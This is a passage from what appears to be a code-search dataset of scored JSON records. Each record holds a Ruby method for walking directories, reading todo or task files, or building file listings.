props['title']\n folder.description = props['description']\n else\n folder.title = folder.name\n folder.description = ''\n end\n\n # Search for files in folder\n Dir.foreach(directory) do |d|\n next if d.end_with?('.')\n\n path = \"#{directory}/#{d}\"\n\n if File.file?(path) && d.end_with?('.txt', '.md')\n entry = Notes::FolderEntry.new(d)\n folder << entry\n elsif File.directory?(path)\n sub_folder = Notes::Folder.new(path, '', '', '')\n parse_folder(path, sub_folder)\n folder.add_folder(sub_folder)\n end\n end\n end", "title": "" }, { "docid": "b32fbc53f4a002063834054ec54fd213", "score": "0.53425115", "text": "def execute\r\n todo_regexp = %r\"#{$delimiter}\\W*TODO\\W+(.*?)$\"\r\n info \"base = #{$base}\"\n info \"extension = #{$extension}\"\r\n Dir.foreach( $base ) { |filename|\r\n if filename =~ %r\"\\.#{$extension}\" then\n \tinfo FileUtils.pwd\r\n File.open( \"#{$base}/#{filename}\", \"r\" ) { |file|\r\n # iterate through the lines of the file\r\n count = 0\r\n file.each_line { |line|\r\n count += 1\r\n line.scan( todo_regexp ) {\r\n puts \"#{filename}, line #{count}: #{$1}\"\r\n }\r\n }\r\n }\r\n end\r\n }\r\n end", "title": "" }, { "docid": "de51d74e1d2d49d9f35af85fcebc2388", "score": "0.5336926", "text": "def get_todo_data(directory, exclude_dirs, exclude_files)\n files = find_files(directory, exclude_dirs, exclude_files)\n ret = grepfiles(directory, files).map do |file, line|\n {'file' => file, 'line' => line, 'group' => get_grouping(line) }\n end\n return ret\n end", "title": "" }, { "docid": "ee3cf1d5476de1df2db8b5c8bc1856e6", "score": "0.52949226", "text": "def parse_dir(dir)\n project = dir.split_path.last\n { project: project }\n end", "title": "" }, { "docid": "38bf583fbbb3def37c2f382f17b060e8", "score": "0.5268807", "text": "def read\n t = File.new(TODO_FILE, \"r\").read\n _group = ''\n t.split(\"\\n\").each do |l|\n if l[0] == '-'\n @items['ungrouped'] << l[1..-1].strip\n elsif l[0] == '@'\n _group = l[1..-1].strip\n @items[_group] = []\n elsif l[0..1] == ' -'\n @items[_group] << l[2..-1].strip\n end\n end\n end", "title": "" }, { "docid": "aaa4ea39fe87d45554f58fa93df20f2b", "score": "0.5251392", "text": "def parse_folder(dir, current_collection)\n \n Dir.glob(dir+'/*').each do |item|\n \n if File.directory?(item) \n puts File.basename(item)\n #For each folder found, I create a collection object\n sub_collection = Collection.create(:title => File.basename(item), :rec_type => 'bequali', :study=>@study)\n current_collection.collections << sub_collection\n puts('Object Added')\n #Also add the collection to the study\n @study.collections << sub_collection\n \n #The item is a directory so we launch parse_folder on it\n parse_folder(item, sub_collection)\n \n \n elsif File.file?(item)\n puts(item)\n res = Ressource.create(:file_name => File.basename(item), :rec_type => 'bequali', :study=>@study)\n current_collection.ressources << res\n \n res.add_file(File.open(item), 'content', File.basename(item))\n \n @study.ressources << res\n \n end\n \n end\n \n \n \n end", "title": "" }, { "docid": "c91b94b9197701ee60a58d48d3dd1381", "score": "0.5244234", "text": "def parse_tasks_file(lines)\r\n\tlines\r\n\t\t.reject{|l| /^[^\\*]/ =~ l} #ignore titles (or anything that doesn't start with a *)\r\n\t\t.map{|l| l.gsub(/\\n$/,\"\")}\r\n\t\t.map{|l|\r\n\t\t\t_, indent, title, rest = l.match(/^(\\*+)\\s([^-]+)(\\s-.*)?$/).to_a\r\n\t\t\t{indent:indent.length, title:title.strip, rest:rest}\r\n\t\t}\t\t\r\n\t\t.inject([]){ |arr, task|\r\n\t\t\tnew = add_task(task, arr[-1])\r\n\t\t\tnew ? (arr + [new]) : arr\r\n\t\t}\r\nend", "title": "" }, { "docid": "929a9deb0a6bb2e833c782bf1a597037", "score": "0.52277344", "text": "def read_todos(filename)\n\n\tFile.open(filename,'r').readlines \n\nend", "title": "" }, { "docid": "5b772a08144bdcc91774ba2a16a887ff", "score": "0.5221347", "text": "def parse_list(skip_directories=true)\n @list = JSON.parse(@raw.body)\n @list.delete_if { |x| x.end_with? '/' } if skip_directories\n end", "title": "" }, { "docid": "30d7e789f04c68be9818522d86561711", "score": "0.5220147", "text": "def parse_items\n one_star method(:parse_item)\n end", "title": "" }, { "docid": "791e17bc3ce4f7b6d7a3fc0c9fadb41d", "score": "0.52072775", "text": "def parse_folder(path)\r\n pattern = /(.*) - (.*) \\[(\\d\\d\\d\\d)\\]?/\r\n path.scan(pattern)\r\n result = Hash.new\r\n result['artist'] = $1\r\n result['title'] = $2\r\n result['year'] = $3\r\n result['folder'] = path\r\n return result\r\n end", "title": "" }, { "docid": "1ad994994f765ed3c8216fd72bd521f4", "score": "0.5205724", "text": "def read_files\n @items = Array.new\n items = JSON.parse(File.read(ITEMS_FILE))\n items[\"result\"][\"items\"].each do | item |\n @items.push(Item.new(item))\n end\n end", "title": "" }, { "docid": "a7ae08eb96f7666aa530dbf125ca6b49", "score": "0.51851034", "text": "def edit_directory_list(dirs)\n temp_file('directories', dirs.join(\"\\n\")).split(/\\s+/)\n end", "title": "" }, { "docid": "e41bba0e29056b817781ea13bb59fc9e", "score": "0.5136206", "text": "def createItem(directory, entry)\n\t\t# each \"tree\" item specifies a directory that should be made corresponding to \n\t\t# that directory's json file (hash)\n\t\tif entry[\"type\"] == \"tree\"\n\t\t\td = directory + '/' + entry[\"name\"]\n\t\t\tDir.mkdir(d)\n\t\t\tdirJson = getDataFromJson(File.join(getObjectsDirectory, entry[\"hash\"]))\n\t\t\tmoveFiles(d, dirJson)\n\t\t# copy the item out of the objects folder into its proper place\n\t\telsif entry[\"type\"] == \"blob\"\n\t\t\tf = File.open(File.join(directory, entry[\"name\"]), \"w\")\n\t\t\tf.write(getFileData(File.join(getObjectsDirectory, entry[\"hash\"])))\n\t\t\tf.close\n\t\tend\n\tend", "title": "" }, { "docid": "180a85d20e3c5d34d08e41514b844c6e", "score": "0.5135568", "text": "def ls_items(dir = Directory.root, **options)\n items = dir.items.where(id: self.items.map{ |i| i.id })\n if options[:pattern]\n items.where('path like ?', pattern_like(options[:pattern]))\n else\n items\n end\n\tend", "title": "" }, { "docid": "b0fa17d2180bcb4d37d6b99ce9e0e336", "score": "0.5132052", "text": "def create_list(path)\n current_dir = path\n entries = Dir.entries(settings.content_dir + '/' + current_dir)\n\n list = Array.new\n entries.each do |entry|\n li = create_item entry, current_dir\n list.push li unless li == nil\n end\n\n list\n end", "title": "" }, { "docid": "17fad4827a372f90663ca4d6b1bea904", "score": "0.51146966", "text": "def file_system\n \n # root item\n root = FileSystemItem.new(\"terminal-gui\", \"directory\", 0, Time.utc(2009,\"jun\",27,14,55))\n \n # top-level items\n our_work = FileSystemItem.new(\"our_work\", \"directory\", 0, Time.utc(2009,\"jun\",27,14,55))\n our_company = FileSystemItem.new(\"our_company\", \"directory\", 0, Time.utc(2009,\"jun\",30,9,9))\n the_crucible = FileSystemItem.new(\"the_crucible\", \"directory\", 0, Time.utc(2009,\"jun\",30,9,9))\n blog = FileSystemItem.new(\"blog\", \"directory\", 0, Time.utc(2009,\"jun\",30,9,9))\n contact_us = FileSystemItem.new(\"contact_us\", \"file\", 207, Time.utc(2009,\"jun\",27,14,49))\n \n # our_work branch\n services = FileSystemItem.new(\"services\", \"file\", 638, Time.utc(2009,\"jun\",27,14,55))\n planning = FileSystemItem.new(\"planning\", \"file\", 343, Time.utc(2009,\"jun\",27,14,55))\n design = FileSystemItem.new(\"design\", \"file\", 210, Time.utc(2009,\"jun\",27,14,55))\n execution = FileSystemItem.new(\"execution\", \"file\", 242, Time.utc(2009,\"jun\",27,14,55))\n case_study = FileSystemItem.new(\"case_study\", \"file\", 559, Time.utc(2009,\"jun\",27,14,55))\n our_work.add_child(case_study).add_child(design).add_child(execution).add_child(planning).add_child(services)\n \n # our_company branch\n guiding_ideas = FileSystemItem.new(\"guiding_ideas\", \"file\", 398, Time.utc(2009,\"jun\",30,9,9))\n technology = FileSystemItem.new(\"technology\", \"file\", 266, Time.utc(2009,\"jun\",30,9,9))\n help_wanted = FileSystemItem.new(\"help_wanted\", \"file\", 249, Time.utc(2009,\"jun\",30,9,9))\n principals = FileSystemItem.new(\"principals\", \"file\", 611, Time.utc(2009,\"jun\",30,9,9))\n our_company.add_child(guiding_ideas).add_child(help_wanted).add_child(principals).add_child(technology)\n \n # the_crucible branch\n socket_server = FileSystemItem.new(\"socket_server\", \"file\", 519, Time.utc(2009,\"jun\",30,9,9))\n concept_ui = FileSystemItem.new(\"concept_ui\", \"file\", 371, Time.utc(2009,\"jun\",30,9,9))\n membrain = FileSystemItem.new(\"membrain\", \"file\", 356, Time.utc(2009,\"jun\",30,9,9))\n the_crucible.add_child(concept_ui).add_child(membrain).add_child(socket_server)\n \n # the_crucible branch\n spotlight = FileSystemItem.new(\"spotlight\", \"file\", 100, Time.utc(2009,\"jun\",30,9,9))\n new_home = FileSystemItem.new(\"new_home\", \"file\", 356, Time.utc(2009,\"jun\",30,9,9))\n blog.add_child(new_home).add_child(spotlight)\n \n # build root from top-level items\n root.add_child(blog).add_child(contact_us).add_child(our_company).add_child(our_work).add_child(the_crucible)\n end", "title": "" }, { "docid": "63b0d0a6496f16cf48cf40b94d103875", "score": "0.50905174", "text": "def scan_songs\n temp = self.path.uri\n FileUtils.cd( temp ) \n # Füge für jeden existierende mp3 ein Song-Objekt hinzu\n Dir.foreach(self.name) do |file|\n if file !=\".\" and file != \"..\"\n parsingName = file.scan( /(.*) - (.*)\\.(.{3})/)[0]\n if (!parsingName.nil?) \n self.songs.create(:title=>parsingName[1], :format=>parsingName[2], :localFlag=>true)\n end\n end\n end \n end", "title": "" }, { "docid": "586a5f5efa3250bf81262c668dd46f18", "score": "0.5087339", "text": "def todos\n get_tasks(TuduPaths::TUDU_TODOS_FILE)\n end", "title": "" }, { "docid": "54eb440c31779d77c10029132dd80962", "score": "0.5081165", "text": "def entries\n (Dir.new @path).children\n rescue Errno::ENOTDIR\n end", "title": "" }, { "docid": "31e86b59a082a65a945329e62ed57cbb", "score": "0.5075744", "text": "def directory_list(list)\n list = list.to_lines if list.is_a?(String)\n list.each do |item|\n item = item.to_s.chomp.strip\n self.directory(item.gsub(/[\\.\\/]/, '_').to_sym, item)\n end\n end", "title": "" }, { "docid": "e64b5ce9eb2413d1dff384fe81aa1d01", "score": "0.50584924", "text": "def dropbox_parse_folder(folder, dropbox_user)\n\n files = []\n\n # Read the folder\n folder_files = @dropbox_client.metadata(folder['path'])\n\n # Go through the folder files\n folder_files['contents'].each do |folder_file|\n\n if folder_file['is_dir']\n dropbox_parse_folder(folder_file, dropbox_user)\n else\n media_file = @dropbox_client.media(folder_file['path'])\n files.push({\n :path => media_file['url']\n })\n end\n\n end\n\n dropbox_user[:folders].push({\n :path => folder['path'],\n :files => files\n })\n\n end", "title": "" }, { "docid": "59a15c12a0c58fe367144a569db85bd8", "score": "0.50575334", "text": "def process_items(dirname)\n @tempdir = File.join(dirname, 'temp')\n FileUtils.mkdir_p @tempdir\n\n @csv_index = -1\n\n Dir.glob(\"#{dirname}/*.zip\") do |zipfile|\n @zipfile = zipfile\n system(\"rm -f #{@tempdir}/*\")\n\n begin\n system(\"unzip #{@zipfile} -d #{@tempdir}\")\n\n Traversal.traverse(@tempdir)\n Replacer.update(Traversal.candidates)\n\n handle_metsfile\n clean_up\n update_csv\n\n rescue\n outfile = File.join(get_output_dir, \"bad_zipfiles.txt\")\n system(\"touch #{outfile}\")\n File.open(outfile, \"a\") { |f|\n f.puts(File.split(@zipfile)[1])\n }\n next\n end\n end\n end", "title": "" }, { "docid": "29095937766a9c6498fa9cbe581090c7", "score": "0.50472486", "text": "def parse_jobs\n JR.config[:job_directory] += '/**/*.rb'\n Dir[JR.config[:job_directory]].each {|file| load file }\n end", "title": "" }, { "docid": "cc3a44500ab64ada966e989acc90969b", "score": "0.5035018", "text": "def parse(items = ARGV)\n parse! items.dup\n items\n end", "title": "" }, { "docid": "5d0a3f11e80465ce64f0b6c03fc8904c", "score": "0.502908", "text": "def rescan\n folder = \"./\"\n # probably do want access control lists loaded off disk too TODO\n ignore = [\".svn\",\".htaccess\"]\n accept = [\"appwiki\",\"hook\"] # TODO use the boot namespace not hardcoded one\n Find.find(folder) do |filepath|\n fdir,fname = File.split(filepath)\n if ignore.eql?(fname.tolower) || fname.length < 1 || !accept.include?(fdir)\n Find.prune\n else\n handler = 'file'\n if FileTest.directory? filepath\n handler = 'folder'\n else\n handler = fname.split('.').last if handler.index('.') != nil\n # handler = fbase.scan(/\\.(*)$/\n # TODO; lookup a best mimetype or handler??? in some kind of table???\n end\n parent = Note.find_by_tokens(nil,filepath.downcase.split('/')[0..-2])\n note = Note.find_by_path(filepath.downcase)\n puts \"accepting #{filepath}\"\n if note\n # TODO update?\n elsif parent\n note = Note.new\n note.uid = fname\n note.parent = parent\n note.handler = handler\n # description = File.read(filename) if fbase =~ /\\.txt$/\n end\n end\n end\n end", "title": "" }, { "docid": "587f6c4df9f2a486e4e241111fe8292e", "score": "0.5025662", "text": "def parseEntryDir results, index\n\tDir.glob(ARGV[0] + \"vhodno_nivo/*\").each do |vh|\n\n\t\ti = 0\n\t\t\t\n\t\tDir.glob(\"#{vh}/*.*\") do |file|\n\t\t\ti += 1\n\t\tend\n\t\t\t \n\t\tfull_name = vh.split(\"/\").last.split(\"_\")\n\t\t\t \n\t\tif full_name[1].to_s.empty?\n\t\t\tnext\n\t\tend\n\n\t\tname = \"#{full_name[0].to_s.capitalize} #{full_name[1].to_s.capitalize}\"\n\t\t\t \n\t\tif i >= 3\n\t\t\n\t\t\tlog = `git log --until=Sep-17-2014-20:00:00 -- #{vh}`\n\t\t\t\n\t\t\tif !log.empty?\n\t\t\t \t\n\t\t\t \tresults[name][index] = 2\n\t\t\t\n\t\t\telsif log.empty?\n\t\t\t \t\n\t\t\t \tresults[name][index] = 1\n\t\t\t\n\t\t\telse\n\t\t\t \t\n\t\t\t \tresults[name][index] = 0\n\t\t\t\n\t\t\tend\n\t\t\t\n\t\tend\n\n\tend\nend", "title": "" }, { "docid": "6ba01a3f01f1d6af0ac7b296265f1b13", "score": "0.50246286", "text": "def get_todos\n get_tasks(TUDU_TODOS_FILE)\n end", "title": "" }, { "docid": "ec30a67bc13196f3f4a80d6ee1204c1b", "score": "0.5014989", "text": "def list_items(rel = nil)\n go_to_homedir()\n\n rel = rel[0, rel.length - 1] if !rel.nil? && rel[-1] == '/'\n\n Dir[@name].each { | path |\n next if @regexp_filter && !(path =~ @regexp_filter)\n\n if @ignore_files || @ignore_dirs\n b = File.directory?(path)\n next if (@ignore_files && !b) || (@ignore_dirs && b)\n end\n\n mt = File.mtime(path).to_i\n unless rel.nil?\n \"Relative path '#{rel}' cannot be applied to '#{path}'\" unless _contains_path?(rel, path)\n path = path[rel.length + 1, path.length - rel.length]\n end\n\n yield path, mt\n }\n end", "title": "" }, { "docid": "e003fd647072fd93c6efc6464fc7db45", "score": "0.5000219", "text": "def collection_path\n \"/todo_lists/#{todo_list_id}/todo_items.xml\"\n end", "title": "" }, { "docid": "763e9a6114f4b43425157c8b267493b4", "score": "0.499144", "text": "def local_items\n @local_items ||= Dir[\"#{@context.repo_path}/data_bags/**/*.json\"].map do |e|\n e.split('/')[-2].gsub('.json', '')\n end\n end", "title": "" }, { "docid": "9faa00d8154bc484dc59238873db4900", "score": "0.49857166", "text": "def read_directories(dir = '')\n self.reset\n base = File.join(self.source, dir)\n entries = Dir.chdir(base) { filter_entries(Dir.entries('.')) }\n\n self.read_posts(dir)\n self.posts.sort!\n\n entries.each do |f|\n f_abs = File.join(base, f)\n f_rel = File.join(dir, f)\n if File.directory?(f_abs)\n read_directories(f_rel)\n elsif !File.symlink?(f_abs)\n static_files << StaticFile.new(self, self.source, dir, f)\n end\n end\n end", "title": "" }, { "docid": "9a1c2fa235272db9a6b579b0355c9ee6", "score": "0.49828815", "text": "def parse_dir(prefix: '', lookup: false)\n page = open(@dir_url, http_basic_authentication: @creds) { |f| f.read }\n pagedoc = Nokogiri::HTML(page)\n found_parent = false\n pagedoc.at('pre').children.each do |el|\n unless found_parent\n found_parent = /Parent Directory/.match(el.text) unless found_parent\n next unless found_parent\n end\n next unless found_parent\n next if /Parent Directory/.match(el.text)\n puts el.text if $DEBUG\n if el.name == 'a'\n if /\\/$/.match(el.text)\n puts \"Directory #{el['href']}\" if $DEBUG\n # XXX What's the best way to deal with recursive calls in a class? Could use recursive instansiation or\n # make parse_dir a Class method instead of an Instance method.\n dir = TPTable.new(@dir_url + el['href'], creds: @creds, db_url: @db_url, db_creds: @db_creds)\n @files += dir.parse_dir(prefix: el.text, lookup: lookup)\n else\n puts \"It's a file #{el['href']} with prefix #{prefix}\" if $DEBUG\n name = el.text\n file = { name: prefix + name,\n href: @dir_url + el['href'],\n date: DateTime.parse(el.next) }\n file[:desc] = query_db(name) if lookup\n @files << file\n end\n end\n end\n return @files\n end", "title": "" }, { "docid": "7681e22dbea10961dc0bca831973721d", "score": "0.49803838", "text": "def items(dir)\n @client.ls(URI::encode(dir))[:items]\n end", "title": "" }, { "docid": "cb75c631ce3a4d7672b681915df24775", "score": "0.4977401", "text": "def list_todo_items(opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n {}\n \n )\n\n # resource path\n path = path_replace(\"/v1/users/self/todo\",\n )\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n response = mixed_request(:get, path, query_params, form_params, headers)\n response\n \n end", "title": "" }, { "docid": "b98a31d52cdf135d7e32971a1b200915", "score": "0.4973095", "text": "def get_tasks(date=Time.now.strftime(\"%Y-%m-%d\"), filter={})\n make_todo_today_file(date)\n tasks = []\n File.open(@todo_today_file, 'r') do |file|\n file.each do |line|\n dir, id = line.chomp.split(\",\")\n task = @service.read(dir, id)\n tasks << task if not task.nil? and task.matches?(filter)\n end\n end if File.exists? @todo_today_file\n tasks\n end", "title": "" }, { "docid": "3ef5cb8d81099b716de31df8c115d8a5", "score": "0.49729478", "text": "def read_directories(dir = '')\n base = File.join(self.source, dir)\n entries = filter_entries(Dir.entries(base))\n\n self.read_posts(dir)\n\n entries.each do |f|\n f_abs = File.join(base, f)\n f_rel = File.join(dir, f)\n if File.directory?(f_abs)\n next if self.dest.sub(/\\/$/, '') == f_abs\n read_directories(f_rel)\n elsif !File.symlink?(f_abs)\n if Pager.pagination_enabled?(self.config, f)\n paginate_posts(f, dir)\n else\n first3 = File.open(f_abs) { |fd| fd.read(3) }\n if first3 == \"---\"\n # file appears to have a YAML header so process it as a page\n pages << Page.new(self, self.source, dir, f)\n else\n # otherwise treat it as a static file\n static_files << StaticFile.new(self, self.source, dir, f)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "e79ee3ffcc004a3f3e0a3ecdcb4a5048", "score": "0.49608624", "text": "def process()\r\n scan_dir('.', '.')\r\n end", "title": "" }, { "docid": "6cff7ccd56f3f8bfc27699bb9a23028b", "score": "0.4953772", "text": "def parse_listing(response, directory)\n\n result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }\n i = 0\n\n begin\n dirlist = response.split('\\x00')[0].split(\"\\x00\")\n index = dirlist.index('entry') + 3\n final = dirlist[index..-1]\n rescue StandardError\n print_error('Failed to gather directory listing')\n return -1\n end\n\n print_line(\"\\n Directory of #{directory}\\n\")\n\n check = 0\n name = 0\n ftime = 0\n size = 0\n ftype = 0\n\n while i < final.length\n\n if name == 1\n unless final[i].to_i > 0\n result['name'] = final[i]\n name = 0\n check += 1\n end\n end\n if size >= 1\n if size == 3\n result['size'] = final[i]\n size = 0\n check += 1\n else\n size += 1\n end\n end\n if ftype >= 1\n if ftype == 3\n result['type'] = final[i]\n ftype = 0\n check += 1\n else\n ftype += 1\n end\n end\n if ftime >= 1\n if ftime == 3\n result['date'] = final[i]\n ftime = 0\n check += 1\n else\n ftime += 1\n end\n end\n\n if final[i].include? 'name'\n name = 1\n end\n if final[i].include? 'size'\n size = 1\n end\n if final[i].include? 'size'\n ftype = 1\n end\n if final[i].include? 'last_modified'\n ftime = 1\n end\n\n i += 1\n\n next unless check == 4\n\n if result['type'] == '2'\n result['type'] = ''\n else\n result['type'] = '<DIR>'\n result['size'] = ''\n end\n\n begin\n time = Time.at(result['date'].to_i)\n timestamp = time.strftime('%m/%d/%Y %I:%M %p')\n rescue StandardError\n timestamp = '??/??/???? ??:?? ??'\n end\n\n print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))\n\n check = 0\n end\n print_line('')\n return 0\n end", "title": "" }, { "docid": "05712ca3b73090ef0e68078c6da7b106", "score": "0.49378183", "text": "def parse_files!\n @logger.info \"parse all files\"\n Dir[File.join(@options[:workspace], \"**\", \"*.rb\")].each do |path|\n logger.info \"read file #{path}...\"\n @namespace.read_file(path)\n end\n end", "title": "" }, { "docid": "5e42bcd48c49f6bcb03da8248db94cb9", "score": "0.49369487", "text": "def parse path\n xml = `plutil -convert xml1 -o - \"#{path}\"`\n Plist::parse_xml(xml)\n end", "title": "" }, { "docid": "5e42bcd48c49f6bcb03da8248db94cb9", "score": "0.49369487", "text": "def parse path\n xml = `plutil -convert xml1 -o - \"#{path}\"`\n Plist::parse_xml(xml)\n end", "title": "" }, { "docid": "899ff87c658107d63a68f98f7919b2ec", "score": "0.4936303", "text": "def load_tasks(dir=@tasks_dir)\n @task_files = []\n Dir.entries(dir).each do |entry| \n #\n # Check for obvious directories\n #\n if !(entry =~ /^\\./)\n #\n # Make sure it's a file\n #\n if File.file? dir + \"/\" + entry \n #\n # Toss it in our array\n #\n @task_files << dir + \"/\" + entry \n end\n end\n end\n \n #\n # For each of our identified task files...\n #\n @task_files.each do |task_file|\n #\n # Create a new task and eval our task into it\n #\n EarLogger.instance.log \"Evaluating task: #{task_file}\"\n t = Task.new\n t.instance_eval(File.open(task_file, \"r\").read)\n\n #\n # Add it to our task listing\n #\n @tasks << t\n end\n end", "title": "" }, { "docid": "18d6fca4baa96d2f15f7bb167c9f85e9", "score": "0.49356562", "text": "def parse_file(path); end", "title": "" }, { "docid": "18d6fca4baa96d2f15f7bb167c9f85e9", "score": "0.49356562", "text": "def parse_file(path); end", "title": "" }, { "docid": "18d6fca4baa96d2f15f7bb167c9f85e9", "score": "0.49356562", "text": "def parse_file(path); end", "title": "" }, { "docid": "20e3a5e847f274e5f718c519c0d747b5", "score": "0.49221802", "text": "def allItems\n items = []\n\n files(true).each do |f|\n path = directoryWithPath + '/' + f\n contents = NSString.stringWithContentsOfFile(path, encoding:NSUTF8StringEncoding, error:nil)\n lines = contents.componentsSeparatedByCharactersInSet(NSCharacterSet.newlineCharacterSet)\n lines.pop #last element is always empty\n items += lines\n end\n\n return items\n end", "title": "" }, { "docid": "6c8a24454ed0ecd634fddfb643537e62", "score": "0.49094486", "text": "def parse!\n File.read(@path).each_line do |line|\n self.add_parsed_entry!(yield(line))\n end\n end", "title": "" }, { "docid": "fe5ee5eae47ec089f31b4628b7efbfc2", "score": "0.49058673", "text": "def entries path\n unless stat(path).directory?\n raise ArgumentError, \"#{path.inspect} is not a directory\"\n end\n\n read(path).map! {|t| t.name }\n end", "title": "" }, { "docid": "4fec89797dfe4149ac415b1c5ebcc83c", "score": "0.490519", "text": "def parseDir(path, runId = [])\n if (!File.exists?(File.join(path, SIGNAL_FILE)))\n # Dive deeper!\n results = []\n\n Dir.entries(path).each{|name|\n if (['.', '..'].include?(name))\n next\n end\n\n childPath = File.join(path, name)\n if (!File.directory?(childPath))\n next\n end\n\n newRunId = runId.clone()\n\n # For sorting reasons, make name an int if possible.\n if (name.match(/^\\d+$/))\n name = name.to_i()\n end\n newRunId << name\n\n results += parseDir(childPath, newRunId)\n }\n\n return results\n else\n methodId = runId[0].to_s()\n\n # This dir has the results.\n # Make sure to wrap the results in an extra array.\n if (methodId.match(/^psl-\\w+-(h2|postgres)$/))\n return [runId + parsePSLRun(path, runId)]\n elsif (methodId =='psl-2.0')\n return [runId + parsePSL2Run(path, runId)]\n elsif (methodId =='tuffy')\n return [runId + parseTuffyRun(path, runId)]\n elsif (methodId == 'psl-1.2.1')\n return [runId + parsePSL121Run(path, runId)]\n else\n raise(\"ERROR: Unknown run type: '#{path}'.\")\n end\n end\nend", "title": "" }, { "docid": "cc946830a48735903e524370e6289ba0", "score": "0.48968288", "text": "def todo\n @todo = response[\"todo\"]\n @todo[\"groups\"].each {|group| group[\"items\"].map!{|item| Foursquared::Response::User.new(client, item)}} if @todo and @todo[\"groups\"]\n end", "title": "" }, { "docid": "ff413390604162324f9dc8f4690c029a", "score": "0.48965976", "text": "def populate path\n case path\n when String\n @current_path = path\n @entries = Dir.new(path).entries\n @entries.delete(\".\")\n # isn;t it a bit late here. it needs to happen to what's already there\n @entries.delete_if {|x| x =~ /^\\./} if @hide_dot_files\n @entries.delete_if {|x| x =~ /\\.bak$/ || x=~/\\.swp$/} if @hide_others\n when Array\n path = @current_path\n # we've been passed @entries so we don't need to put it again ??? XXX\n end\n # TODO K M etc\n list @entries\n @list.insert 0, @_header\n @title = @current_path\n @current_index = @_first_data_index\n set_form_row if @form\n end", "title": "" }, { "docid": "2b85ff75e0be7d855bf8114fccc65149", "score": "0.48904085", "text": "def parse_files(*files); end", "title": "" }, { "docid": "843e09267ed6d26ab322598499ff93b9", "score": "0.48815826", "text": "def read_json_folder(folder)\n quotes = []\n files = Dir[\"#{folder}/*.json\"]\n files.each do |file|\n puts \"Reading file #{file}\"\n quotes += read_json_quotes(file)\n end\n quotes\nend", "title": "" }, { "docid": "418015aa3983649a807cf7d047ab34ca", "score": "0.48755604", "text": "def walk_posts_path(path)\n Dir.foreach(path) do |path_item|\n next if path_item =~ /^\\.+$/ # Filter out `.` and `..`\n next if path_item =~ /^[\\.]/ # Filter out hidden files\n\n full_path = File.join(path, path_item)\n\n if File.directory? full_path\n walk_posts_path(full_path)\n elsif File.file? full_path\n next unless path_item =~ /^.+(md|markdown|txt)$/\n single_markdown_file(full_path)\n end\n end\n end", "title": "" }, { "docid": "cabd0f4d93d026f989bb956344355a24", "score": "0.48711246", "text": "def readdir(handle); end", "title": "" }, { "docid": "fcb7b748fe2435c073a7ca0c480a5ebd", "score": "0.48697636", "text": "def dir_listing\n\t\tDir.glob('*') do |f|#go through all the files in the directory that don't start with a \".\"\n\t\t\t\tif File.directory?(f)#if file is a directory, then it's a project\n\t\t\t\t\tif @dirs.size == 0\n\t\t\t\t\t\t@dirs[0] = nil\n\t\t\t\t\tend\n\t\t\t\t\t@dirs[@dirs.size] = f#add the file to the directory arrray\n\t\t\t\t\tputs \"[#{@dirs.size - 1}] - #{f}\"#display the directory and the number associated to it\n\t\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "d0e67f4eaf23267c72bfddfd9e8a9784", "score": "0.48586088", "text": "def listEntries(dir)\n\tputs\t\"Item\\t\\t\\tType\\n\"\\\n\t\t\t\"-------\\t\\t\\t---------\"\n\tDir.new(dir).each do |item|\n\t\tif (item != \".\" && item != \"..\")\n\t\t\tputs \"#{item}\\t\\t#{getInodeType(item)}\"\n\t\tend\n\tend\t\nend", "title": "" }, { "docid": "e60d05671d8bd7c3fc63d9c472154c59", "score": "0.48578084", "text": "def notes(directory)\n files = {}\n Find.find(directory) do |filename|\n if File.file?(filename)\n notes = parse(filename)\n if not notes.empty?\n files[filename] = notes\n end\n end\n end\n return files\nend", "title": "" }, { "docid": "83b392176404fb37bb6a5d2dfb52543f", "score": "0.48569208", "text": "def load_tasks(dir=@tasks_dir)\n @task_files = []\n Dir.entries(dir).each do |entry| \n #\n # Check for obvious directories\n #\n if !(entry =~ /^\\./)\n #\n # Make sure it's a file\n #\n if File.file? dir + \"/\" + entry \n #\n # Toss it in our array\n #\n @task_files << dir + \"/\" + entry \n end\n end\n end\n \n #\n # For each of our identified task files...\n #\n @task_files.each do |task_file|\n #\n # Create a new task and eval our task into it\n #\n TapirLogger.instance.log \"Evaluating task: #{task_file}\"\n t = Task.new\n t.instance_eval(File.open(task_file, \"r\").read,task_file)\n #\n # Add it to our task listing\n #\n @task_objects << t\n end\n end", "title": "" }, { "docid": "fe1dcbf04b1f0387b6b5331e232a7c46", "score": "0.48554373", "text": "def opendir(path); end", "title": "" }, { "docid": "fa0caa4c2451d6fcfbce7b62c77f9e44", "score": "0.48506704", "text": "def parse_files\n begin\n @tickets = JSON.parse(File.read('public/tickets.json'))\n @users = JSON.parse(File.read('public/users.json'))\n @organizations = JSON.parse(File.read('public/organizations.json'))\n rescue StandardError => e\n logger.error(\"Error when uploading files.\")\n redirect_to search_index_path\n end\n end", "title": "" }, { "docid": "a7b26d88a096b07635a9955c7fc20814", "score": "0.48480204", "text": "def build_listing(path)\n dir = ::File.expand_path(Global.public_root/::File.expand_path(path, '/'))\n\n if ::File.directory?(dir)\n Log.debug(\"Serving directory listing: #{dir}\")\n Session.current.drop! if Session.current\n\n status = Ramaze::STATUS_CODE['OK']\n header = {'Content-Type' => \"text/html\"}\n body = list_for(dir)\n [body, status, header]\n end\n end", "title": "" }, { "docid": "705069ae2550145cf89d5235bd2a07f2", "score": "0.48374775", "text": "def process_dir_of_albums\n read_overrides(:artist)\n each_matching :dir, file_patterns(:album), file_ignore_patterns(:album), :glob => @glob[:album] do |d,p|\n process_album_dir(d,p)\n end\n end", "title": "" }, { "docid": "446e3e6e7c28fb232d6e33a16c64c223", "score": "0.4837438", "text": "def parse_dt(path)\n begin\n DateTime.parse(path.split('/')[-1].split('_')[0])\n rescue ArgumentError\n puts \"Failed to parse timestamp from file #{path}\\n\".bold.light_red\n puts (\"Are you sure this is an archive directory?\\n\" +\n \"If so, it needs to be free of strange interloping files.\").bold.light_white\n exit 1\n end\n end", "title": "" }, { "docid": "1d25e88b28e14c6b50ee8ea52809f9d6", "score": "0.48350084", "text": "def parse_file 